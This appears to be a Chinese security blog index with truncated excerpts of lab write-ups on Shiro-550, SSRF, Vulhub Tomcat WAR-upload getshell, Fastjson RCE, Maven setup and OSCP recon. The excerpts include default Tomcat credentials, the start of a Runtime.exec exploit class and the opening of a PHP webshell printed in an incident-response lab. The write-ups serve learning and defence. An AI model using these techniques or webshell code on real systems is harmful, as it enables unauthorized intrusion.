shiro-550-环境
参考:
Shiro反序列化漏洞-shiro550流程分析
详细shiro漏洞复现过程
Shiroの起始篇
Shiro反序列化分析带思路及组件检测笔记
Shiro/SHIRO-550
编码工具RUNTIME.EXEC
shiro550反序列化漏洞
shiro-550-环境0x01前言因为在复现漏洞时,一直都是docker起的环境,对这些java开发的项目的具体内容不是很了解,且不懂这些项目的构建过程,故在此总结一下自己在网上看到的搭建环境的过程。对shiro的介绍很多,上面的文章也有,这里就不缀述了
0x2 环境搭建 git这是在视频中学到的,直接从github上clone代码到本地,然后git checkout切换版本,还是第一次用这个功能,有点迟了。。。附上介绍链接,git也该再去学习一下,只会个clone是不行的。
git clone https://github.com/apache/shiro.gitcd shirogit checkout shiro-root-1.2.4
编辑shiro/samples/web目录下的pom.xml,手动添加 ...
pikachu
攻略:https://blog.csdn.net/qq_53571321/article/details/121692906
https://blog.csdn.net/qq_65165505/article/details/131568188
SSRF原理、绕过、防御的介绍:https://blog.csdn.net/qq_43378996/article/details/124050308
SSRF(Server-Side Request Forgery:服务器端请求伪造)
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据
数据流:攻击者—–>服务器—->目标地址
根据后台使用的函数的不同,对应的影响和利用方法又有不一样
PHP中下面函数的使用不当会导致SSRF:file_get_contents()fsockopen()curl_exec()
如果一定要通过后台服务器远程去对用户指定(“或者预埋在前端的请求 ...
vulhub-tomcat
弱口令Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。
Tomcat7+权限分为:
manager(后台管理)
manager-gui 拥有html页面权限
manager-status 拥有查看status的权限
manager-script 拥有text接口的权限,和status权限
manager-jmx 拥有jmx权限,和status权限
host-manager(虚拟主机管理)
admin-gui 拥有html页面权限
admin-script 拥有text接口权限
找到登录页面之后尝试tomcat的弱口令,tomcat+tomcat成功登录。
之后就发现可以进行上传文件的操作
上传war包getshell,上传完成之后就可以看到多了一栏数据,war包就是把码天骄到压缩包,改后缀再上传
也是成功访问,用冰蝎连接试试
CVE-2017-12615:PUT方法任意写文件漏洞
访问主页
http://172.16.14.148:8080
2.抓包
3.修改方法
在上传文 ...
vulhub-fastjson
fastjson原理:https://blog.csdn.net/Bossfrank/article/details/130100893+
https://www.freebuf.com/vuls/208339.html
RMi:https://blog.csdn.net/cj_eryue/article/details/134283846
靶机:192.168.174.137
攻击机:192.168.174.160
1.2.24-rce访问靶机8090端口,查看服务
可以看到成功访问
1.远程创建文件在攻击机上创建一个TouchFile.java文件
// javac TouchFile.javaimport java.lang.Runtime;import java.lang.Process;public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = ...
ip练习-python
# encoding='utf-8'"""https://blog.51cto.com/u_16213398/9007087https://docs.python.org/zh-cn/3/howto/ipaddress.html#ipaddress-howtohttps://blog.csdn.net/u013541325/article/details/117530957https://www.cnblogs.com/itsfei/p/17445303.htmlhttps://mwell.tech/archives/9630#:~:text=%E4%BD%BF%E7%94%A8%20ipaddress%20%E6%A8%A1%E5%9D%97%E5%A4%84%E7%90%86%20IP%20%E7%BD%91%E7%BB%9C%201%201.%20%E6%A3%80%E6%9F%A5IP%E5%9C%B0%E5%9D%80%E6%98%AFIPv4%E8%BF%98%E6%98%AFIPv6,true%E3%80%82%20... ...
vulnhub-shiro
超级详细:https://xz.aliyun.com/t/11633#toc-2 # 好文
什么是ShiroApache Shiro 是Java 的一个安全框架。Shiro 可以非常容易的开发出足够好的应用,其不仅可以用在JavaSE 环境,也可以用在JavaEE 环境。Shiro 可以帮助我们完成:认证、授权、加密、会话管理、与Web 集成、缓存等。
CVE-2010-3863:权限绕过Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
在Apache Shiro 1.1.0以前的版本中,shiro 进行权限验证前未对url 做标准化处理,攻击者可以构造/、//、/./、/../ 等绕过权限验证
参考链接:
https://github.com/apache/shiro/commit/ab8294940a19743583d91f0c7e29b405d197cc34
https://xz.aliyun.com/t/11633#toc-2 # 好文
https://cve.mitre.org/cgi-b ...
xxl-job
xxl-job安装使用在使用之前,需要把maven配置好,可以看我上一篇关于配置maven的文章,配置完成后可以看这篇教程
使用教程:https://blog.csdn.net/f2315895270/article/details/104714692
我也会跟着操作一遍
编译项目mvn compile
创建数据库直接用doc下的sql文件即可
打开xxl-job-admin模块,在application.properties中进行后台的配置
注意在数据库地址哪里加上时区属性,否则乱码
启动项目然后我们启动XxlJobAdminApplication类,访问http://localhost:8080/xxl-job-admin 默认账户admn,密码123456
成功启动了
参考文章中说定位到springboot模块下的jobhandler层下面,但我下载的更新后的项目,里面已经不再是jobhandler,可以看项目给的SampleXxlJob改,但代码能力不行,我还是找新教程把
换成了这个,我后续跟的是另一个教程java定时任务框架xxl-job(使用、总结),按 ...
Maven环境配置
maven配置环境变量的配置:https://blog.csdn.net/u012660464/article/details/114113349
下载mavenhttps://maven.apache.org/download.cgi
Maven软件的安装Maven 下载后,将 Maven 解压到一个没有中文没有空格的路径下,比如D:\extools\apache-maven-3.9.8下面。 解压D:\extools\apache-maven-3.9.8后目录结构如下:
bin:存放了 maven 的命令
boot:存放了一些 maven 本身的引导程序,如类加载器等
conf:存放了 maven 的一些配置文件,如 setting.xml 文件
lib:存放了 maven 本身运行所需的一些 jar 包
环境变量配置1.配置 MAVEN_HOME ,变量值就是你的 maven 安装的路径(bin 目录之前一级目录)
2.将MAVEN_HOME 添加到Path系统变量
Maven 软件版本测试mvn -v
Maven 仓库
Maven的仓库分类本地仓库: 位于自己计 ...
应急响应靶场-zgsf-web1
参考:https://blog.csdn.net/qq_61872115/article/details/136618102
前景需要:小李在值守的过程中,发现有CPU占用飙升,出于胆子小,就立刻将服务器关机,这是他的服务器系统,请你找出以下内容,并作为通关条件:
1.攻击者的shell密码2.攻击者的IP地址3.攻击者的隐藏账户名称4.攻击者挖矿程序的矿池域名
用户:administrator密码Zgsf@admin.com
webshell查杀登陆主机,启动小皮
访问网站
找到网站根目录,直接查杀一下是否存在后门文件,我这里用的是D盾
查看文件内容,不是这个。。。用火绒把,也没有
我说呢,被windows defender给隔离了
打开看看
<?php@error_reporting(0);session_start(); $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的 ...
OSCP-005-Broken
Broken Gallery主机发现netdiscover -r 192.168.174.0/24
获得目标ip:192.168.174.176
端口,服务扫描nmap -A -p- 192.168.174.176
得到22和80端口开放
下面还有另一种方法,首先通过namp生成扫描结果的文件
nmap -sT -p- --min-rate 1000 192.168.174.167 -oA ./Broken_galley
生成报告后,用awk去找,算是练习把
cat Broken_galley.nmap | grep "open" | awk -F '/' '{print $1}' | paste -sd ',' 返回22,80
nmap -sT -sC -sV -p 22,80 192.168.174.176 -oA ./detail
这种带目录的扫描比较好看
访问服务
有一些图片,和一个readme文件,下载下来是一串16进制的字节码
通过xxd还原成二进制文件
xx ...
